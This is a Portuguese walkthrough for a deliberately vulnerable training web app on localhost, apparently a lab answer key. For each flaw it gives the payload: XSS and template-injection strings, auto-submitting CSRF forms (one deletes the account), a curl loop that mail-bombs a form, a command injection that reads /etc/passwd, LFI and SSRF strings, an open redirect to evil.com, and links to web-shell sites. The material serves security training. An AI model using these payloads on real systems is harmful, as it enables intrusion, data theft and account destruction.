
FORMMING
HACKERS

CROSS-SITE SCRIPTING

XSS -> Double URL Encoding:

Página: index.php

Acesse: http://localhost/?search=%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e

XSS + CSRF

Página: user.php

```
<form method="POST"
action="http://localhost/user
.php">
<input type="text" value="">
<script>alert(1)</script>"
name="livro">
</form>
<script>document.forms[0].
submit();</script>
```

XSS + CSTI

Página: index.php

http://localhost/index.php?name={{constructor.constructor(%27alert(1)%27)()}}

XSS -> URI Scheme

Página: user.php

1° -> Acesse:
http://localhost/user.php?back=javascript:alert(1)

2° -> Clique em “configurações”

SELF-XSS

Página: index.php

1° -> Aperte F12 ou clique com botão direito do mouse na página e clique na opção de inspecionar.

2° -> Em ferramentas do desenvolvedor (inspecionar), clique na opção de console.

BROKEN LINK HIJACKING + XSS

Página: index.php

Para simular um contexto real, temos o controle da input de pesquisa do usuário por parâmetro search= que seu conteúdo reflete em uma tentativa de carregar um script

<script src="https://search-.000webhostapp.com/template-angular.js"></script>

000webhost.com oferece domínios (subdomínios) e hospegagem gratuita.

Para explorar este problema de segurança, cadastre-se em 000webhost e crie um subdomínio com o valor do parâmetro search=, exemplo:

http://localhost/index.php?search=teste123

observe que o conteúdo do parâmetro é teste123

crie um subdomínio em 000webhost como:

https://search-teste123.000webhostapp.com

também observe que deve conter a palavra chave “search-”.

Na hospedagem, crie um arquivo com o nome template-angular.js com um código javascript malicioso, depois vá para o localhost onde está o site vulnerável, recarregue a URL com o parâmtro search=teste123 e veja que o script será executado.

CROSS-SITE REQUEST FORGERY

CSRF -> Excluir Conta do usuário

Página: config.php

```
<form method="POST"
action="http://localhost/config.php">
<input type="text" value="true"
name="excluirConta">
</form>
<script>document.forms[0].submit();
</script>
```

CSRF + No Rate Limit + e-mail bomb

Página: index.php

exploit 1:

<img src="http://localhost/index.php?name=juliana&subject=teste&message=testando">

exploit 2:

```
for n in $(seq 1 100);do echo -e
"\n\033[32;1mRequisição:
"$n"\033[m\n";curl
"http://localhost/index.php?
name=maria&subject=exploit&
message=mensagem"$n;done
```

OS COMMAND INJECTION

Página: index.php

Existe um OS Command Injection em uma requisição POST que acontece por meio de AJAX na página inicial.

É realizado uma requisição POST para ping.php com o parâmetro d=formminghackers.com, podemos quebrar o código a ser executado no back-end com o seguinte payload:

google.com; cat /etc/passwd #

google.com para completar o comando PING, cat para exploração, # para comentar o código shell restante.

OPEN REDIRECT

Página: 0001.php

http://localhost/0001.php?r=https://evil.com

PHPINFO() DISCLOSURE

Página: index.php

Na página inicial podemos acessar phpinfo.php e terá vazamento de informações sobre o PHP em execução no servidor.

CWE-565

Página: user.php

Confiança em Cookies sem Validação e Verificação de Integridade

https://cwe.mitre.org/data/definitions/565.html

Existe uma validação inadequada de acesso a página user.php, basta manipular o cookie PHPSESSID para "on" e conseguirá ter acesso a página diretamente ou após utilizar qualquer credencial de login.

SEM RESTRIÇÕES EM UPLOAD DE ARQUIVO

Página: user.php

Na página de user.php é possível fazer upload de arquivos sem nenhuma restrição, é possível fazer upload de web shell e controlar o servidor.

https://www.r57shell.net/
https://r57.gen.tr/
https://www.r57c99.com/

TABNABBING

Página: user.php

Na página de perfil do usuário existe um Tabnabbing, podemos adicionar o link de um site malicioso que pode afetar a aba de origem no navegador quando alguém visita o perfil de maria.

CLICKJACKING

Página: user.php

Existe um ClickJacking na página de usuário, o hacker pode criar uma página maliciosa carregando um iframe que induz a vítima clicar no botão de excluir a conta.

INFORMATION DISCLOSURE

Página: login.php

Existe Information Disclosure em js/users-login.js, Neste arquivo vaza informação de login e senha de maria.

HTML INJECTION

Página: user.php

Existe HTML Injection na página de usuário, CSP - Content Security Policy foi configurado incorretamente, consegue bloquear javascript que o atacante injeta, protege contra XSS, mas não protege contra HTML/CSS Injection, por motivo de ainda permitir que estes sejam injetados externamente. Para conseguir explorar HTML Injection deve codificar em base64 e enviar o payload na opção de chave de API.

VAZAMENTO DE USUÁRIOS WORDPRESS

Página: index.php

Ao adicionar o parâmetro author=1 na página inicial conseguimos encontrar um JSON informando sobre vazamento de usuários wordpress.

LOCAL FILE INCLUSION

Página: user.php

Na página de usuário temos um local file inclusion por parâmetro b= que tenta carregar um arquivo de texto com a biografia do usuário, para conseguir explorar precisamos fazer bypass por Double URL Encoding.

Payload:

%252Fetc%252Fpasswd

REMOTE FILE INCLUSION / SSRF

Página: user.php

Na página de usuário o mesmo parâmetro vulnerável a Local File Inclusion também é vulnerável a SSRF - Server-Side Request Forgery ou Remote File Inclusion, podemos explorar adicionando o payload no parâmetro:

b=https:%252F%252Fgoogle.com

LOCAL FILE DOWNLOAD

Página: config.php

Na página de configurações do usuário existe um Local File Download. Quando o usuário clica em "Meus dados", automaticamente é feito uma requisição HTTP POST para dados.php que faz download de um arquivo json com os dados do usuário, podemos alterar o conteúdo do parâmetro para outro arquivo como por exemplo /etc/passwd e assim fazemos download de arquivos sensíveis do servidor.

INSECURE DIRECT OBJECT REFERENCE

Página: config.php

Na página de configurações do usuário existe uma lógica vulnerável a IDOR, quando o usuário clica em "meus dados", é feito uma requisição POST para dados.php para fazer download de um arquivo JSON, o nome deste arquivo JSON é sugestivo, user-5397.json, pode-se alterar para user-5398.json, 99, 400...

Com esta lógica é possível fazer download de arquivos JSON de outros usuários.

DIRETÓRIOS E ARQUIVOS

Arquivos na página inicial: security.txt, robots.txt

Acessando o diretório .git/ encontra-se um arquivo explicando sobre Git Exposed

Acessando o diretório handfire/ encontra-se um arquivo explicando sobre o misconfiguration de handfire

Acessando o diretório admin/ encontra-se um arquivo explicando sobre o modo debug do Django ativado.

Links:

https://owasp.org/www-community/attacks/xss/
https://trustedsec.com/blog/chaining-vulnerabilities-to-exploit-post-based-reflected-xss
https://digi.ninja/blog/xss_through_csrf.php
https://www.acunetix.com/vulnerabilities/web/broken-link-hijacking/
https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
https://wiki.whatwg.org/wiki/URL_schemes
https://www.andrewhoffman.me/sanitize-javascript-psuedo-scheme-xss/
https://en.wikipedia.org/wiki/Self-XSS
https://owasp.org/www-community/attacks/csrf
https://www.cloudflare.com/pt-br/learning/bots/what-is-rate-limiting/
https://learn.snyk.io/lesson/no-rate-limiting/
https://en.wikipedia.org/wiki/Email_bomb
https://www.techtarget.com/searchsecurity/definition/mail-bomb
https://imasters.com.br/desenvolvimento/bash-for-loop-primeiro-passo-na-automacao-no-linux
https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html
https://www.acunetix.com/vulnerabilities/web/phpinfo-output-detected/
https://cwe.mitre.org/data/definitions/565.html
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://owasp.org/www-community/attacks/Reverse_Tabnabbing
https://pt.wikipedia.org/wiki/Clickjacking
https://cwe.mitre.org/data/definitions/200.html
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection
https://www.wp-tweaks.com/hackers-can-find-your-wordpress-username/
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion
https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/
https://owasp.org/www-community/attacks/Server_Side_Request_Forgery
https://portswigger.net/web-security/ssrf
https://knowledge-base.secureflag.com/vulnerabilities/unrestricted_file_download/unrestricted_file_download_vulnerability.html
https://portswigger.net/web-security/access-control/idor
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References